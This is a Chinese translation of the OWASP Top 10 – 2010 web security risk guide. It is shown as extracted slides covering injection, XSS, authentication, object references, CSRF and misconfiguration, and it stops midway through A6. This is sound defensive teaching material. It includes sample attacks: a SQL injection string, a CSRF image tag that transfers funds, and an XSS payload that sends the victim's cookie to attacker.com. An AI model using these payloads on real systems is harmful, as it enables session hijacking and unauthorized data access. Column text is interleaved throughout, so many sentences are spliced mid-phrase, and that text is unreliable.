OWASP Top 10 – 2010 (新版)

1 .

2 .O 关于 OWASP 前言 关于 OWASP 不安全的软件已经在破坏着我们的金融、医疗、国 开源 web 应用安全项目（ OWASP ）是一个开放的社 防、能源和其他重要网络架构。随着我们的数字化架构 区，致力于帮助各企业组织开发、购买和维护可信任的应用 变得越来越复杂并相互关联，实现应用程序安全的难度 程序。在 OWASP ，你可以找到以下免费和开源的信息： 也呈指数级增加。我们再也不能忽视象 OWASP Top 10 中所列出相对简单的安全问题。 • 应用安全工具和标准 • 关于应用安全测试、安全代码开发和安全代码审查 Top 10 项目的目标是通过找出企业组织所面临的最 方面全面的书籍 严重的风险来提高人们对应用程序安全的关注度。 Top 10 项目被众多标准、书籍、工具和相关组织引用，包括 • 标准的安全控制和安全库 MITRE 、 PCI DSS 、 DISA 、 FTC 等等。此版本的 • 全球各地分会 OWASP Top 10 标记了该项目这八年来对于应用程序安 • 尖端研究 全风险重要性认知的推广。 OWASP Top 10 最初于 • 专业的全球会议 2003 年发布，并于 2004 年和 2007 年相继做了少许的 • 邮件列表 修改更新。本次发布的是 2010 年版本。 • 以及更多 ... 所有的信息都可以在 www.owasp.org 找到。 我们鼓励各位通过使用此 Top 10 帮助你的企业组 织了解应用程序安全。开发人员可以从其他企业组织的 所有的 OWASP 工具、文档、论坛和全球各地分会都是 错误中学习到经验。而执行人员需要开始思考如何管理 免费的，并对所有致力于改进应用程序安全的人士开放。我 软件应用程序在企业内部产生的风险。 们主张将应用程序安全问题看作是人、过程和技术的问题， 因为提供应用程序安全最有效的方法是在这些方面提升。 但是 Top 10 并不是一个应用安全计划。展望未来 ， OWASP 是一个新型组织。没有商业压力使得我们能够 OWASP 建议各个企业组织建立一个强大的培训、标准 提供无偏见、实用、低成本的应用安全方面的信息。 尽管 和工具的基础确保能进行安全地编码。在这一基础之上 OWASP 支持合理使用商业的安全技术，但是 OWASP 不隶 ，各个企业组织需要将安全融合到软件开发，验证和维 属于任何技术公司。和许多开源软件项目一样， OWASP 以 护的过程中。 管理层能使用这些过程中产生的数据来 一种协作、开放的方式制作了许多不同种类的材料。 对应用安全进行成本管理和风险管理。 OWASP 基金会是确保项目长期成功的非营利性组织。 我们希望 OWASP Top 10 能有助于你的应用程序 几乎每一个与 OWASP 相关的人都是一名志愿者，这包括了 安全。如果有任何疑问、评论以及想法，请不要犹豫， OWASP 董事会、全球委员会、全球各地分会会长、项目领 立即通过公开的 OWASP-TopTen@lists.owasp.org 或者 导和项目成员。我们用捐款和基础设备来支持创新的安全研 私人的 dave.wichers@owasp.org ，与我们取得联系。 究。 http://www.owasp.org/index.php/Topten 我们期待您的加入！ 版权和许可 2003 － 2010 OWASP 基金会 © 版权所有 本文档的发布基于 Creative Commons Attribution ShareAlike3.0 license 。任何重复使用或发行， 都必须向他人澄清该文档的许可条款。 

3 .I 简介 欢迎 欢迎阅读 2010 年版本的 OWASP Top 10 ！此次重大的更新以更简洁、风险为核心的方式列出 10 项最严重的 web 应用程序安全风险。 OWASP Top 10 项目始终关注于风险，但这次的更新修改将此版本比以前版本更加清晰明了。 此版本还提供了更多关于如何评估应用程序风险的信息。 对于 Top10 中的每一项安全风险，该版本讨论了一般可能性，和作用于分类的典型严重后果。该版本然后向读者 描述了如何确认你是否存在该风险、如何避免风险、常见的漏洞案例，以及更多相关信息链接的指导。 OWASP Top 10 的首要目的是培训开发人员、设计人员、架构师、经理和企业组织，让他们认识到最严重的 web 应用程序安全漏洞所产生的后果。 Top 10 提供了防止这些高风险问题的基本方法，并提供了获得这些方法的来源。 警告 鸣谢 不要仅关注 OWASP Top 10 。正如在 OWASP开发者指南 感谢 Aspect Security自 2003 年 OWASP Top 10 项目成立以来， 中所 对该项目的创始、领导及更新，同时我们也感谢主要作者： Jeff Williams 和 Dave Wichers 。 讨论的，能影响整个 web 应用程序安全的漏洞成百上千。 OWASP 开发者指南是当今 web 应用程序开发人员的必读 资料。而 OWASP测试指南和 OWASP代码审查指南则指导 人们如何有效地查找 web 应用程序中的漏洞。这两本指南 在发布 OWASP Top 10 的前版本时就已经进行了明显更新 我们也要感谢以下组织贡献了它们的漏洞数据用于支持该项目 。 2010 版的更新： •Aspect Security 不断修改。此 Top 10 将不断更新。即使你不改变应用程 •MITRE–CVE 序的任何一行代码，你的应用程序可能已经存在从来没有 •Softtek 被人发现过的漏洞。要了解更多信息，请查看 Top 10 结尾 •WhiteHat Security Inc.–Statistics 的建议部分，”写给开发人员、验证人员和企业组织的话“ 。 另外，我们还要感谢以下为此新版本 Top 10 做出显著内容贡献 和花时间审阅的专家们： 正面思考。当你已经做好准备停止查找漏洞并集中精力建 • Mike Boberski (Booz Allen Hamilton) 立强大的应用程序安全控制时， OWASP 已经制作了 • Juan Carlos Calderon (Softtek) 应用程序安全验证标准（ASVS）指导企业组织和应用程序 • Michael Coates (Aspect Security) 审查者如何去进行验证。 • Jeremiah Grossman (WhiteHat Security Inc.) • Paul Petefish (Solutionary, Inc.) 明智使用工具。安全漏洞可能很复杂并且藏匿在代码行的 • Eric Sheridan (Aspect Security) 深处。查找并消除这些漏洞的最成本有效的方法就是配备 • Neil Smithline (OneStopAppSecurity.com) 好的工具的专家。 • Andrew van der Stock • Colin Watson (Watson Hall, Ltd.) 向左推进。只有使用了一个安全的软件开发周期才能保证 • OWASP Denmark Chapter (Led by Ulf Munkedal) Web 应用程序的安全。为了指导大家如何执行安全开发周 • OWASP Sweden Chapter (Led by John Wilander) 期，我们最近发布了开放软件保证成熟模型（SAMM）。 感谢如下组织和个人将此新版本翻译成中文 : • OWASP 中国大陆分会 （ Led by Rip Torn) 该模型是针对 OWASP CLASP项目的一个重大更新。 • OWASP 中文项目 ( 钟卫林 , 高雯 , 王颉 , 于振东 ) 

4 .RN 发行说明 从 2007 版到 2010 版有什么改变？ 互联网应用程序所受到的威胁随着攻击者和新技术的提升以及日益复杂的系统在不断改变。为了跟随前进的步伐， 我们周期性地更新 OWASP Top 10 。在本次 2010 年版本中，我们做了以下三点重大改变： 1) 我们明确说明这些 Top 10 是指十大风险 ，而不是十大常见漏洞。 详情请见下文的“应用程序安全风险”。 2) 我们改变了风险等级的评估方法，去取代仅依靠关联漏洞频率的办法。该新评估方法决定了如下表所示的 Top 10 排 序。 3) 我们更新了列表中的其中两项： ＋ 增加： A6 －安全配置错误。这是 2004 年版本 Top 10 中的 A10 ：不安全配置管理，由于不再被视为软件问题， 因此在 2007 年版本中被删除。但是，从一个企业组织风险和普遍性的角度考虑，它显然值得被重新列入 Top 10 。 ＋ 增加： A10 －尚未验证的重定向和转发。这一问题是第一次被列入 Top 10 。有证据表明这个相对未知的问题已 经广泛存在并可以产生严重的破坏。 － 删除： A3 －恶意文件执行。这个问题在很多环境中仍然是一个严重的问题。但是，其在 2007 年版本中提出的普 遍性由大量 PHP 应用程序问题而导致的。 PHP 现在已经采用了更多默认的安全配置，从而降低了这个问题的严重程 度。 － 删除： A6 －信息泄露和不恰当的错误处理。这个问题十分普遍，但是泄露堆栈跟踪和错误信息的影响通常很小。 在今年的版本中增加了错误的安全配置，恰当的错误处理配置已成为应用程序和服务器安全配置的一个重要部分。 OWASP Top 10 – 2007 ( 旧版 ) OWASP Top 10 – 2010 ( 新版 ) A2 － 注入漏洞 A1 － 注入 A1 － 跨站脚本（ XSS ） A2 － 跨站脚本（ XSS ） A7 － 失效的身份认证和会话管理 A3 －失效的身份认证和会话管理 A4 － 不安全的直接对象引用 A4 － 不安全的直接对象引用 A5 － 跨站请求伪造 （ CSRF ） A5 － 跨站请求伪造 （ CSRF ） < 曾经是 2004 年 T10 中的 A10 －不安全配置管理 > A6 －安全配置错误 （新） A8 －不安全的加密存储 A7 － 不安全的加密存储 A10 － 没有限制 URL 访问 A8 －没有限制 URL 访问 A9 － 不安全的通信 A9 － 传输层保护不足 < 不在 2007 年 T10 中 > A10 － 未验证的重定向和转发 （新） A3 － 恶意文件执行 < 从 2010 年 T10 中删除 > A6 － 信息泄漏和不恰当的错误处理 < 从 2010 年 T10 中删除 > 

5 .Ris 应用程序安全风险 k 什么是应用程序安全风险 ? 攻击者可以通过应用程序中许多不同的路径方法去危害你的业务或者企业组织。每种路径方法都代表了一种风 险，这些风险可能会，也有可能不会严重到值得去关注。 威胁代理 攻击向量 安全漏洞 安全控制 技术影响 业务影响 攻击 漏洞 控制 影响 资产 攻击 漏洞 控制 影响 功能 攻击 漏洞 影响 资产 漏洞 控制 有时，这些路径方法很容易被发现并被利用，但有的则非常困难。同样，所造成危害的范围也从没有危害，到有 可能完全损害你的整个业务。为了确定你的企业的风险，你可以结合其产生的技术影响和对企业的业务影响，去评估威 胁代理、攻击向量和安全漏洞的可能性。总之，这些因素决定了全部的风险。 我有什么风险 ? 参考资料 这次 OWASP Top 10的更新重点在于为广大企业组织确定一组最严重 的风险。对于其中的每一项风险，我们将使用基于 OWASP风险等级排序方法 的简单评级方案，提供关于可能性和技术影响方面的普遍信息。 OWASP 资料 威胁 攻击 漏洞 漏洞 • OWASP Risk Rating Methodology 技术影响 业务影响 代理 向量 普遍性 可检测性 • Article on Threat/Risk Modeling 易 广泛 易 严重 ? 平均 常见 平均 中等 ? 其他资料 难 少见 难 小 • FAIR Information Risk Framework • Microsoft Threat Modeling (STRI 但是，只有你了解你自己的系统环境和企业的具体情况。对于任何已知 DE and DREAD) 的应用程序，可能某种威胁代理无法实施相应的攻击，或者技术影响并没有什 么差别。因此，你必须亲自评估每一种风险，特别是需要针对你企业内部的威 胁代理、安全控制、业务影响等方面。 尽管 OWASP Top 10以前的版本重点在于确定那些最常见的“漏洞”，但 它们仍然是围绕风险来设计的。在 Top 10 中的风险名称有的来自于攻击的类 型，有的来自于漏洞，而有的来自于所造成的影响。 我们选择了最广为人知 的名称，从而期待它们能得到最高的关注度。 

6 .• Web 应用程序经常将用户重定向和转发到其他网页和网站，并且利用不可信的数据去判定 重定向和转发 目的页面。如果没有得到适当验证，攻击者可以重定向受害用户到钓鱼软件或恶意网站，或 A10 – 未验证的 者使用转发去访问未授权的页面。 • 应用程序时常没有进行身份认证，加密措施，甚至没有保护敏感网络数据的保密性和完整 不足 性。而当进行保护时，应用程序有时采用弱算法、使用过期或无效的证书，或不正确地使用 A9 - 传输层保护 这些技术。 • 许多 web 应用程序在显示受保护的链接和按钮之前会检测 URL 访问权限。但是，当这些页 URL 访问 面时被访问时，应用程序也需要执行类似的访问控制检测，否则攻击者将可以伪造这些 URL A8 – 没有限制 去访问隐藏的网页。 • 许多 web 应用程序并没有使用恰当的加密措施或 Hash 算法保护敏感数据，比如信用卡、社 密存储 会安全号码 (SSN) 、身份认证证书等等。攻击者可能利用这种弱保护数据实行身份盗窃、信 A7 – 不安全的加 用卡诈骗或其他犯罪。 • 好的安全需要对应用程序、框架、应用程序服务器、 web 服务器、数据库服务器和平台， 误 定义和执行安全配置。由于许多设置的默认值并不是安全的，因此，必须定义、实施和维护 A6 – 安全配置错 所有这些设置。这包含了对所有的软件保持及时地更新，包括所有应用程序的库文件。 • 一个跨站请求伪造攻击迫使登录用户的浏览器将伪造的 HTTP 请求，包括该用户的会话 造 （ CSRF ） cookie 和其他认证信息，发送到一个存在漏洞的 web 应用程序。 这就允许了攻击者迫使用 户浏览器向存在漏洞的应用程序发送请求，而这些请求会被应用程序认为是用户的合法请 A5 – 跨站请求伪 求。 • 当开发人员暴露一个对内部实现对象的引用时，例如，一个文件、目录或者数据库密匙，就 接对象引用 会产生一个不安全的直接对象引用。在没有访问控制检测或其他保护时，攻击者会操控这些 A4 – 不安全的直 引用去访问未授权数据。 认证和会话管理 • 与身份认证和会话管理相关的应用程序功能往往得不到正确的实现，这就导致了攻击者破坏 密码、密匙、会话令牌或攻击其他的漏洞去冒充其他用户的身份。 A3 – 失效的身份 • 当应用程序收到含有不可信的数据，在没有进行适当的验证和转义的情况下，就将它发送给 （ XSS ） 一个网页浏览器，这就会产生跨站脚本攻击（简称 XSS ）。 XSS 允许攻击者在受害者的浏 A2 – 跨站脚本 览器上执行脚本，从而劫持用户会话、危害网站、或者将用户转向至恶意网站 • 注入攻击漏洞，例如 SQL, OS 以及 LDAP 注入。这些攻击发生在当不可信的数据作为命令 或者查询语句的一部分，被发送给解释器的时候。攻击者发送的恶意数据可以欺骗解释器， A1 – 注入 以执行计划外的命令或者访问未被授权的数据。 2010 T10 OWASP 十大应用程序安全风险 - 

7 .A1 注入 业务影响 攻击向量 安全漏洞 技术影响 威胁代理 可利用性 普遍性 可检测性 影响 __________ __________ 易 常见 平均 严重 考虑任何能够发送 攻击者发送简单的 注入漏洞发生在应用程序将不可信的数 注入能导致数据丢 考虑受影响的数据 不信任数据到系统 基于文本的攻击， 据发送到解释器时。注入漏洞十分普遍 失或数据破坏、缺 和运行解释器的平 的人，包括外部用 用于利用目标处理 ，尤其是在遗留代码中，通常能在 SQL 乏可审计性或是拒 台的商业价值。所 户，内部用户和管 程序语法。几乎任 查询语句、 LDAP 查询语句、 Xpath 查 绝服务。注入漏洞 有的数据都有可能 理员。 何数据源都能成为 询语句、 OS 命令、程序参数中找到。 有时甚至能导致完 被偷窃，篡改和删 注入媒介，包括内 注入漏洞很容易通过审查代码发现，但 全主机接管。 除。你的声誉是否 部来源。 是却不容易在测试中发现。扫描器和模 会被影响？ 糊测试工具可以帮助攻击者找到这些漏 洞。 我是否存在注入漏洞 ? 我怎么防止注入漏洞 ? 检测应用程序是否存在注入漏洞的最好的办法就是确认所 防止注入漏洞需要将不可信数据从命令及查询中区分开。 有解释器的使用都明确地将不可信数据从命令语句或查询 1. 最佳选择是使用安全的，完全避免使用解释器或提 语句中区分出来。对于 SQL 调用，这就意味着在所有准备 供参数化界面的 API 。但要注意有些参数化的 API ， 语句 (prepared statements) 和储存过程（ stored 比如存储过程 (stored procedures) ，如果使用不当， procedures) 中使用绑定变量（ bind variables) ，并避免 任然可以引入注入漏洞。 使用动态查询语句。 2. 如果没法使用一个参数化的 API ，那么你应该使用解 检查应用程序是否安全使用解释器的最快最有效的方法是 释器的具体的 escape 语法来避免特殊字符。 OWASP 代码审查。代码分析工具能帮助安全分析者找到使用解释 的ESAPI 就有一些 escape例程。 器的代码并追踪应用的数据流。渗透测试者通过创建攻击 的方法来确认这些漏洞。 3. 使用正面的或“白名单”的，具有恰当的规范化的输入 验证方法同样会有助于防止注入攻击。但由于很多应 可以执行应用程序的自动动态扫描器能够提供一些信息， 用在输入中需要特殊字符，这一方法不是完整的防护 帮助确认一些可利用的注入漏洞是否存在。然而，扫描器 方法。 OWASP的ESAPI中包含一个 并非总能达到解释器，所以不容易检测到一个攻击是否成 白名单输入验证例程的扩展库。 功。不好的错误处理使得注入漏洞更容易被发现。 攻击的案例 参考资料 应用程序在下面存在漏洞的 SQL 语句的构造中使用不可信 OWASP 数据： • OWASP SQL Injection Prevention Cheat Sheet String query = "SELECT * FROM accounts WHERE • OWASP Injection Flaws Article custID='" + request.getParameter("id") +"'"; • ESAPI Encoder API 攻击者在浏览器中将“ id” 参数的值修改成 ’ or’1’=’1. 这 样查询语句的意义就变成了从帐户数据库中返回所有的记 • ESAPI Input Validation API 录，而不是只有目标客户的信息。 • ASVS: Output Encoding/Escaping Requirements (V6) http://example.com/app/accountView?id=' or • '1'='1 OWASP Testing Guide: Chapter on SQL Injection Testi 在最严重的情况下，攻击者能够使用这一漏洞调用数据库 ng 中特殊的储存过程，从而达到完全接管数据库，甚至运行 • 数据库的主机。 OWASP Code Review Guide: Chapter on SQL Injection • OWASP Code Review Guide: Command Injection 

8 .A2 跨站脚本 (XSS) 攻击向量 业务影响 安全漏洞 技术影响 威胁代理 可利用性 普遍性 可检测性 影响 __________ __________ 平均 非常广泛 易 中等 任何能够发送不可 攻击者发送基于文 跨站脚本是最普遍的 web 应用安全漏洞。攻击者能在受害者 考虑受影响的系统 信数据到系统的人 本的攻击脚本用于 当应用程序发送给浏览器的页面中包含 的浏览器中执行脚 及该系统处理的所 ，包括外部用户、 利用浏览器中的解 用户提供的数据，而这些数据没有经过 本以劫持用户会话 有数据的商业价值 内部用户和管理员 释器。几乎所有数 适当的验证或转义（ escape) ，就会导 、破坏网站、插入 。 。 据源都能成为攻击 致跨站脚本漏洞。有三种已知的跨站漏 恶意内容、重定向 还应该考虑漏洞公 媒介，包括内部数 洞类型： 1 ）存储式； 2 ）反射式； 用户、使用恶意软 开后对业务的不利 据源比如数据库中 3 ）基于DOM的XSS。 件劫持用户浏览器 影响。 的数据。 大部分跨站脚本漏洞通过测试或代码分 等等。 析很容易找到。 我是否存在 XSS 漏洞 ? 我如何防止 XSS? 你需要确保发送给浏览器的所有用户提供的输入都是安全 防止跨站脚本需要将不可信数据与动态的浏览器内容区分 的（通过输入验证）。同时你还需要确保用户输入在被显 开。 示在页面之前都经过了恰当的转义 (escape) 。恰当的输出 1. 最好的办法是根据数据将要置于的 HTML 上下文（包 编码能确保这样的输入总是被视为浏览器中的文本，而不 括主体、属性、 JavaScript 、 CSS, 或 URL ）转义 是可能被执行的动态内容。 (escape) 所有的不可信数据。除非用户界面 (UI) 框 动态和静态工具都能自动找出一些跨站脚本漏洞。然而， 架已经提供转义，开发者需要在应用程序中提供转义 每一个应用程序使用不同的方式生成输出页面，并且使用 (escaping) 。更多关于数据转义的信息见 不同的浏览器端解释器，例如 JavaScript, ActiveX, Flash, OWASP XSS Prevention Cheat Sheet。 和 Silverlight ，这使得自动检测变得很困难。因此，要想 2. 使用正面的或“白名单”的， 具有恰当的规范化和解码 达到全面覆盖，必须使用一种结合的方式，在自动检测的 功能的输入验证方法同样会有助于防止跨站脚本。但 基础上，同时采用人工代码审核和手动渗透测试。 由于很多应用程序在输入中需要特殊字符，这一方法 类似 AJAX 的 web2.0 技术使得跨站脚本漏洞更难通过自动 不是完整的防护方法。这种验证方法需要尽可能地解 工具检测到。 码任何编码输入，同时在接受输入之前需要充分验证 数据的长度、字符、格式、和任何商务规则。 攻击案例 参考资料 应用程序在下面 HTML 代码段的构造中使用未经验证或转 OWASP 义的不可信的数据： • OWASP XSS Prevention Cheat Sheet (String) page += "<input name='creditcard' • OWASP Cross-Site Scripting Article type='TEXT‘ value='" + request.getParameter("CC") + "'>"; • ESAPI Project Home Page 攻击者在浏览器中修改‘ CC’ 参数为如下值： • ESAPI Encoder API '><script>document.location= • ASVS: Output Encoding/Escaping Requirements (V6) 'http://www.attacker.com/cgi-bin/cookie.cgi? • ASVS: Input Validation Requirements (V5) foo='+document.cookie</script>'. • 这导致受害者的会话 ID 被发送到攻击者的网站，使得攻 Testing Guide: 1st 3 Chapters on Data Validation Tes 击者能够劫持用户当前会话。请注意攻击者同样能使用跨 ting 站脚本攻破应用程序可能使用的任何跨站请求伪造 • OWASP Code Review Guide: Chapter on XSS Review （ CSRF ）防御机制。 CSRF 的详细情况见 A5 。 

9 .A3 失效的身份认证和会话管理 攻击向量 业务影响 安全漏洞 技术影响 威胁代理 可利用性 普遍性 可检测性 影响 __________ __________ 平均 普通 平均 严重 任何匿名的外部攻 攻击者使用认证或 开发者通常会建立自定义的认证和会话 这些漏洞可能导致 需要考虑受影响的 击者和拥有账号的 会话管理功能中的 管理方案。但要正确实现这些方案却很 部分甚至全部帐户 数据及应用程序功 用户都可能试图盗 泄露或漏洞（比如 难，结果这些自定义的方案往往在如下 遭受攻击。一旦成 能的商业价值。 取其他用户账号。 暴露的帐户、密码 方面存在漏洞：退出、密码管理、超时 功，攻击者能执行 还应该考虑漏洞公 同样也会有内部人 、或会话 ID ）来 、记住我、秘密问题、帐户更新等等。 受害用户的任何操 开后对业务的不利 员为了掩饰他们的 假冒用户。 因为每一个实现都不同，要找出这些漏 作。因此特权帐户 影响。 行为而这么做。 洞有时会很困难。 是常见的攻击对象 。 我存在漏洞吗？ 我如何防止？ 最需要要保护的数据是认证凭证 (credentials) 和会话 对企业最主要的建议是让开发人员可以使用如下资源： ID 。 1. 一套单一的强大的认证和会话管理控制系统。这套 1. 当存储认证凭证时，是否总是使用 hashing 或加密保护吗 ? 控制系统应 : 详见 A7 。 a) 满足 OWASP 的应用程序安全验证标准(ASVS) 2. 认证凭证是否可猜测，或者能够通过薄弱的的帐户管理功 中 V2( 认证 ) 和 V3( 会话管理 ) 中制定的所有 能（例如账户创建、密码修改、密码恢复 , 弱会话 ID ）重 认证和会话管理的要求。 写？ 3. 会话 ID 是否暴露在 URL 里 ( 例如 , URL 重写 ) ？ b) 具有简单的开发界面。 ESAPI认证器和用户 API是可以仿照、使用或扩展的好范例。 4. 会话 ID 是否容易受到会话固定 (session fixation) 的攻击 ? 5. 会话 ID 会超时吗 ? 用户能退出吗 ? 2. 企业同样也要做出巨大努力来避免跨站漏洞，因为这 一漏洞可以用来盗窃用户会话 ID 。 详见 A2 。 6. 成功注册后 , 会话 ID 会轮转吗 ? 7. 密码、会话 ID 和其他认证凭据是否只通过 TLS 连接传 输？详见 A9 。 更多详情请见 ASVS 要求部分 V2 和 V3 。 攻击案例 参考资料 案例 1 ：机票预订应用程序支持 URL 重写，把会话 ID 放 OWASP 在 URL 里： For a more complete set of requirements and problems http://example.com/sale/saleitems;jsessionid= to avoid in this area, see the 2P0OC2JDPXM0OQSNDLPSKHCJUN2JV? ASVS requirements areas for Authentication (V2) and Se dest=Hawaii ssion Management (V3) 该网站一个经过认证的用户希望让他朋友知道这个机票打 . 折信息。他将上面链接通过邮件发给他朋友们，并不知道 • OWASP Authentication Cheat Sheet 自己已经泄漏了自己的会话 ID 。 当他的朋友们使用上面 • ESAPI Authenticator API 的链接时，他们将会使用他的会话和信用卡。 • ESAPI User API 案例 2 ： 应用程序超时设置不当。 用户使用公共计算机 访问网站。离开时，该用户没有点击退出，而是直接关闭 • 浏览器。攻击者在一个小时后能使用相同浏览器通过身份 OWASP Development Guide: Chapter on Authenticatio 认证。 n 

10 .A4 不安全的直接对象引用 攻击向量 业务影响 安全漏洞 技术影响 威胁代理 可利用性 普遍性 可检测性 影响 __________ __________ 易 常见 易 中等 考虑系统的用户类 作为授权的系统用 当生成 web 页面时，应用程序经常使用 这种漏洞能损害通 考虑暴露的数据的 型。对于某些系统 户，攻击者只需要 对象的实名或关键字。而应用程序并不 过该参数引用的所 商业价值。 数据类型，是否有 修改指向一个系统 会每次都验证用户是否有权访问该目标 有数据。除非名字 还应该考虑漏洞公 的用户只具有部分 对象的直接引用参 对象，这就导致了不安全的直接对象引 空间很稀疏，否则 开后对业务的不利 访问权限？ 数值，让其指向另 用漏洞。测试者能轻易操作参数值以检 攻击者很容易访问 影响。 一个无权访问的对 测该漏洞，同时代码分析能很快显示应 该类型的所有数据 象。 系统是否会允 用程序是否进行了适当的权限验证。 。 许这样的访问？ 我是否存在漏洞 ? 我如何防止 ? 检测一个应用程序是否存在不安全直接对象引用漏洞的最 要防止不安全的直接对象引用需要选择一个适当的方法来 好办法就是验证其所有的对象引用都具有适当的防御能 保护每一个用户可访问的对象（如对象号码、文件名）： 力。 要达到这一目的，可以考虑： 1. 使用基于用户或者会话的间接对象引用。这样能防 1. 对于被保护的资源的直接引用，应用程序需要验证用 止攻击者直接攻击未授权资源。例如，一个下拉列表 户有权限访问他们所请求的具体资源。 包含 6 个授权给当前用户的资源，它可以使用数字 1- 2. 如果该引用是间接引用，那么应用程序需要保证该间 6 来指示哪个是用户选择的值，而不是使用资源的数 接引用只能映射到授权给当前用户访问的直接引用的 据库关键字来表示。在服务器端，应用程序需要将每 值。 个用户的间接引用映射到实际的数据库关键 字。 OWASP 的 ESAPI包含了两种序列和随机访问引用 对应用程序进行代码审查能快速验证以上方法是否被安全 映射，开发人员可以用来消除直接对象引用。 实现了。测试同样是找出直接对象引用以及确认他们是否 安全的有效方法。然而，自动化工具通常无法检测到这些 2. 检查访问。任何来自不可信源的直接对象引用都必须 漏洞，因为他们无法识别哪些需要保护、哪些是安全或不 通过访问控制检测，确保该用户对请求的对象有访问 安全的。 权限。 攻击案例 参考资料 应用程序在访问帐户信息的 SQL 调用中使用未验证数据： OWASP String query = "SELECT * FROM accts WHERE • account = ?"; OWASP Top 10-2007 on Insecure Dir Object Referenc PreparedStatement pstmt = es connection.prepareStatement(query , … ); • ESAPI Access Reference Map API pstmt.setString( 1, request.getparameter("acct")); • ESAPI Access Control API (See isAuthorizedForData(), ResultSet results = pstmt.executeQuery( ); isAuthorizedForFile(), isAuthorizedForFunction() ) 攻击者能轻易在浏览器将 “ acct” 参数修改成他所想要的 • 更多的访问控制需求，请见 任何账户号码。如果应用程序没有进行恰当的验证，攻击 ASVS requirements area for Access Control (V4). 者就能访问任何用户的账户，而不仅仅是该目标用户的账 户。 其他 http://example.com/app/accountInfo? • CWE Entry 639 on Insecure Direct Object References 

11 .A5 跨站请求伪造 (CSRF) 攻击向量 业务影响 安全漏洞 技术影响 威胁代理 可利用性 普遍性 可检测性 影响 __________ __________ 平均 广泛 易 中等 考虑任何可能诱使 攻击者创建伪造 跨站请求伪造是利用某些 web 应用程序 攻击者能让受害用 考虑受影响的数据 你的用户向你的网 HTTP 请求并通过 允许攻击者预测一个特定操作的所有细 户修改该受害用户 和应用程序功能的 站提交请求的人。 图片标签、跨站脚 节这一特点。 允许修改的任何数 商业价值。 试想如 你的用户所访问的 本或许多其他技术 由于浏览器自动发送会话 cookie 等认 据，或者是执行该 果并不知道这些操 任何网站或者 诱使受害用户提交 证凭证，攻击者能创建恶意 web 页面产 受害用户被授权使 作是否用户的真正 HTML 源 (feed) 都 这些请求。如果该 生伪造请求。这些伪造请求很难与合法 用的任何功能 。 用意会产生什么后 可以这样做。 受害用户已经经过 请求区分开。 果。 身份认证，那么攻 同时考虑带来的声 跨站请求伪造漏洞可以很容易通过渗透 击就能成功。 誉影响。 测试或代码分析检测到。 我是否存在漏洞？ 我如何防止 CSRF? 检测应用程序是否存在该漏洞的最简单的方法就是确认是 要防止跨站请求伪造，需要在每个 HTTP 请求的主体 否每个链接和表格都为每个用户提供了不可预测的令牌。 (body) 或者 URL 中添加一个不可预测的令牌。这种令牌至 如果没有这样不可预测的令牌，攻击者就能够伪造恶意请 少应该对每个用户会话来说是唯一的，或者也可以对每个 求。重点关注那些调用能够改变状态的功能的链接和表 请求是唯一的。 格，因为他们是跨站请求伪造攻击的最重要的目标。 1. 最好的方法是将独有的令牌包含在一个隐藏字段中。 由于多步交易并不具有内在的防攻击能力，因此我们需要 这将使得该令牌通过 HTTP 请求主体发送，避免其被 检测这些交易。攻击者能轻易使用多个标签或 JavaScript 包含在 URL 中从而被暴露出来。 伪造一系列请求。 2. 该独有令牌同样可以包含在 URL 中或作为一个 URL 参 请注意：会话 cookie 、源 IP 地址和其他浏览器自动发送 数。但是这种安排的风险是： URL 会暴露给攻击者， 的信息不能作为防攻击令牌，因为他们已经包含在伪造的 这样秘密令牌的也会被泄漏。 请求中。 OWASP’s CSRF Guard 可以用来在 Java EE, .NET, or PHP OWASP 的 CSRF测试工具有助于生成测试案例，可用于展 应用程序中自动加入这种令牌。 OWASP 的 ESAPI包含令 示跨站请求伪造漏洞的危害。 牌生成器和验证器。开发者可以用他们来保护网站交易。 攻击案例 参考资料 应用程序允许用户提交不包含任何保密字段的状态改变请 OWASP 求，如： • OWASP CSRF Article http://example.com/app/transferFunds? • OWASP CSRF Prevention Cheat Sheet amount=1500 &destinationAccount=4673243243 • OWASP CSRFGuard - CSRF Defense Tool 因此，攻击者构建一个请求，用于将受害用户账户中的现 • ESAPI Project Home Page 金转移到自己账户。然后攻击者在其控制的多个网站的图 • ESAPI HTTPUtilities Class with AntiCSRF Tokens 片请求或 iframe 中嵌入这种攻击。 • OWASP Testing Guide: Chapter on CSRF Testing <img src="http://example.com/app/transferFunds? • OWASP CSRFTester - CSRF Testing Tool amount=1500&destinationAccount=attackersAcct#“ width="0" height="0" /> 如果受害用户通过 example.com 认证后访问任何一个这样 其他 的恶意网站，伪造的请求将包含用户的会话信息，导致该 • CWE Entry 352 on CSRF 

12 .A6 安全配置错误 攻击向量 业务影响 安全漏洞 技术影响 威胁代理 可利用性 普遍性 可检测性 影响 __________ __________ 易 常见 易 中等 考虑外部的匿名攻 攻击者访问默认帐 错误安全配置可以发生在一个应用程序 这些漏洞使攻击者 系统可能在你未知 击者和拥有自己帐 户、未使用的网页 堆栈的任何层面，包括平台、 Web 服 能经常访问一些未 的情况下被完全攻 户的内部用户都可 、未安装补丁的漏 务器、应用服务器、框架和自定义代码。 授权的系统数据或 破。你的数据可能 能会试图破坏系统 洞、未被保护的文 开发人员和网络管理员需共同努力，以 功能。有时，这些 会随着时间推移被 的。另外考虑想要 件和目录等，以获 确保整个堆栈的正确配置。自动扫描器 漏洞导致系统的完 全部盗走或者篡改 掩饰他们的攻击行 得对系统未授权的 可用于检测未安装的补丁、错误的配置 全攻破。 。 为的内部攻击者。 访问或了解。 、默认帐户的使用、不必要的服务等。 恢复的花费可能会 很昂贵。 我易受攻击吗？ 我如何防止 ? 你对整个应用程序堆栈实施了恰当的安全加固措施吗？ 主要的建议建立在以下几个方面 : 1. 你有保证你的所有软件被及时更新的过程吗？这包括 1. 一个可以快速且易于部署在另一个锁定环境的可重 操作系统，网络 / 应用服务器，数据库管理系统，应 复的加固过程。开发、质量保证和生产环境都应该配 用程序和其他所有的库文件。 置相同。这个过程应该是自动化的，以尽量减少安装 2. 是否禁用、删除或不安装一切多余的东西（例如，端 一个新安全环境的耗费。 口，服务，网页，帐户，权限）？ 2. 一个能及时了解并部署每个已部署环境的所有最新 3. 默认帐户的密码是否更改或禁用？ 软件更新和补丁的过程。这需要包括通常被忽略的所 有代码的库文件。 4. 你的错误处理设置是否防止堆栈跟踪和其他含有大量 信息的错误消息被泄露 ? 3. 一个能在组件之间提供良好的分离和安全性的强大 应用程序架构。 5. 你的开发框架（比如： Struts, Spring, ASP.NET ）和 库文件中的安全设置是否理解正确并配置恰当？ 4. 